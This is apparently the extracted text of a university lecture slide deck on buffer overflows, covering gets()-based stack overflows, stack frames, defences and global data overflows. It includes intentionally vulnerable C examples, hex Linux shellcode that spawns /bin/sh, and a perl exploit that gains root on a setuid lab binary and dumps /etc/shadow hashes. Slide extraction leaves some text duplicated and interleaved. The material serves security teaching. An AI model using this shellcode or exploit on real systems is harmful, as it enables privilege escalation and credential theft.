CSCI262 Buffer Overflow
CSCI262 Buffer Overflow
CSCI262 Buffer Overflow
CSCI 262
Outline
1. Stack overflow
Buffer overflow basics
Stack buffer overflows
shellcode
2. Defending against buffer overflows
Compile-time defense
Run-time defenses
3. Other forms of overflow attacks
Replacement stack frame
Return-to-system call
Heap overflow
Global data area overflows
Other types of overflows
Buffer Overflow
1. A very common attack mechanism
from 1988 Morris Worm to Code Red,
Slammer, Sasser and many others
2. Prevention techniques known
3. Still of major concern due to
Legacy of widely deployed buggy
Continued careless programming
techniques
NIST DEFINITION OF BUFFER OVERFLOW
$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE),
valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
C gets() function The C
int main(int argc, char *argv[]) { gets() is a
int valid = FALSE;
char str1[8]; vulnerability
char str2[8];
next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)
gets() does not include
valid = TRUE; any checking on the
printf("buffer1: str1(%s), str2(%s), amount of data copied.
valid(%d)\n", str1, str2, valid); If more than 7 characters
}
are present on the input
line, when read in they
$ cc -g -o buffer1 buffer1.c
$ ./buffer1 will (along with the
START terminating NULL
buffer1: str1(START), str2(START), valid(1) character) require more
$ ./buffer1 room than is available in
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE), the str2 buffer.
valid(0) Consequently the extra
$ ./buffer1 characters will proceed to
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
overwrite the values of the
str2(BADINPUTBADINPUT), valid(1) adjacent variable, str1 in
this case
C gets() function The C
int main(int argc, char *argv[]) { gets() is a
int valid = FALSE;
char str1[8]; vulnerability
char str2[8];
next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0) hacker can use this
valid = TRUE; vulnerablity to force a
printf("buffer1: str1(%s), str2(%s), success test even if the
valid(%d)\n", str1, str2, valid); strings are not equal
}
If str1 is badinput
Hacker can use craft str2
$ cc -g -o buffer1 buffer1.c
$ ./buffer1 as: badinputbadinput
START The test will succeed!
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE),
valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
C gets() function
int main(int argc, char *argv[]) {
int valid = FALSE;
char str1[8];
char str2[8];
next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", str1, str2, valid);
}
$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE), str2(EVILINPUTVALUE),
valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)
C gets() function The C
int main(int argc, char *argv[]) { gets() is a
int valid = FALSE;
char str1[8]; vulnerability
char str2[8];
next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", str1, str2, valid);
}
. . . . . . . . . . . .
Buffer Overflow Attacks
To exploit a buffer overflow an attacker
– must identify a buffer overflow vulnerability in
some program
inspection, tracing execution, fuzzing tools
– understand how buffer is stored in memory
and determine potential for corruption
A Little Programming Language
History
At machine level all data an array of bytes
– interpretation depends on instructions used
– Values. Addresses , instructions
Modern high-level languages
– have a strong notion of type and valid operations
– not vulnerable to buffer overflows
– does incur overhead, some limits on use
C and related languages
– have high-level control structures, but allow direct access to
memory
– hence are vulnerable to buffer overflow
– have a large legacy of widely used, unsafe, and hence
vulnerable code
Table 10.3
Common x86 Assembly Language Instructions
Table 10.4
x86 Registers
Function call
ARE WE DONE WITH STACKS
AND FUNCTION CALLS?
Frame pointer
Example
Function Calls and Stack Frames
Calling function:
1. Push parameters for
the called function
onto the stack ( in
reverse order)
2. Executes the call
instruction to call the
target function,
which pushes the
return address onto
the stack
Function Calls and Stack Frames
For the called function:
1. Push the current frame
pointer value which points to
the calling routine’s stack
frame
2. Sets the frame pointer to be
the current stack ptr value
(the address of the old frame
pointer)
3. Allocates space for local
variables, by moving the
stack ptr down to leave
sufficient room for them.
Function Calls and Stack Frames
For the called function:
4. Runs the body of the called
function
5. As it exits, it first Sets the
stack ptr back to the value of
frame ptr ( clearing thespace
used by the local variables)
6. Pops the old frame ptr
value(restoring the link to the
calling routine’s stack frame)
7. Executes the return
instruction which pops the
saved address off the stack
and return controls to the
calling fucntion
Stack Buffer Overflow
. . . . . . . . . . . .
Basic stack overflow
An attacker can overwrite the return
address with any desired value, not just
the address of the desired function.
It can be the address of any function or
even any sequence of machine
instructions present in the program or its
associated system libraries. (SHELL
CODE).
More stack overflow vulnerabilities
So far, the buffer overflow has occurred when
the input was read.
– If the buffer does not check if the buffer is large
enough
– Or if the data copied are not correctly terminated
Buffer overflows can also occur
a. When a program can safely read and save input,
pass it around the program,
b. and then at some later time in another function
unsafely copy it, resulting in a buffer overflow.
More stack overflow
Figure 11.7a shows an example program
The main() function includes the buffer buf.
This is passed along with its size to the function
getinp() which safely reads a value using
fgets().
The getinp()function then returns to
main(), which then calls the function
display() with the value in buf.
More stack overflow
This function constructs a response string in a
second local buffer called tmp and then
displays this.
Unfortunately, the sprintf() library routine
is another common, unsafe C library routine.
Note in this program that the buffers are both
the same size.
The problem that may result occurs when data
is being merged into a buffer that includes the
contents of another buffer, such that the space
needed exceeds the space available.
Another Stack Overflow
void getinp(char * inp, int siz)
{
puts("Input value: ");
fgets( inp, siz, stdin);
printf("buffer3 getinp read %s\n", inp);
}
$ ./buffer3
Input value:
SAFE
buffer3 getinp read SAFE
read val: SAFE
buffer3 done
$ ./buffer3
Input value:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
buffer3 getinp read XXXXXXXXXXXXXXX
read val: XXXXXXXXXXXXXXX
buffer3 done
Segmentation fault (core dumped)
Where to look for buffer overflow
All possible places where externally
sourced data are copied or merged have
to be located.
Most common usafe standard c routines
should not be used without proper
checking
Better if you replace them with safer
alternatives
Shellcode
• AT&T Syntax
instr %segreg:disp(base,index,scale), foo
• mov 0x20(%ebx),%eax addl (%ebx,%ecx,0x2),%eax
leal (%ebx,%ecx),%eax subl0x20(%ebx,%ecx,0x4),%eax
Back to the Desired shellcode
90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
Example Stack Overflow Attack
$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4
$ whoami
knoppix
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ cat attack1
perl -e 'print pack("H*",
"90909090909090909090909090909090" .
"90909090909090909090909090909090" .
"9090eb1a5e31c08846078d1e895e0889" .
"460cb00b89f38d4e088d560ccd80e8e1" .
"ffffff2f62696e2f7368202020202020" .
"202020202020202038fcffbfc0fbffbf0a");
print "whoami\n";
print "cat /etc/shadow\n";'
$ attack1 | buffer4
Enter value for name: Hello your yyy)DA0Apy is
e?^1AFF.../bin/sh...
root
root:$1$rNLId4rX$nka7JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
knoppix:$1$FvZSBKBu$EdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::
...
More Stack Overflow Variants
How do we correct
the problem?
$ attack2 | bu ffer5
Enter v alue:
root
root:$1 $4oIn mych$T 3BVS2 E3OyN RGjGU zF4o3 /:133 47:0: 99999: 7:::
daemon: *:114 53:0:9 9999: 7:::
...
nobody: *:114 53:0:9 9999: 7:::
knoppix :$1$p 2wziIM L$/yV HPQuw 5kvlU FJs3b 9aj/: 13347 :0:999 99:7: ::
...
Global Data Overflow
can attack buffer located in global data
– may be located above program code
– if has function pointer and vulnerable buffer
– or adjacent process management tables
– aim to overwrite function pointer later called
defenses: non executable or random
global data region, move function pointers,
guard pages
Global Data Overflow Example
/* global static data - targeted for attack */
struct chunk {
char inp[64]; /* input buffer */
void (*process)(char *); /* ptr to function */
} chunk;
void showlen(char *buf)
{
int len;
len = strlen(buf);
printf("buffer6 read %d chars\n", len);
}
int main(int argc, char *argv[])
{
setbuf(stdin, NULL);
chunk.process = showlen;
printf("Enter value: ");
gets(chunk.inp);
chunk.process(chunk.inp);
printf("buffer6 done\n");
}
Summary
introduced basic buffer overflow attacks
stack buffer overflow details
shellcode
defenses
– compile-time, run-time
other related forms of attack
– replacement stack frame, return to system
call, heap overflow, global data overflow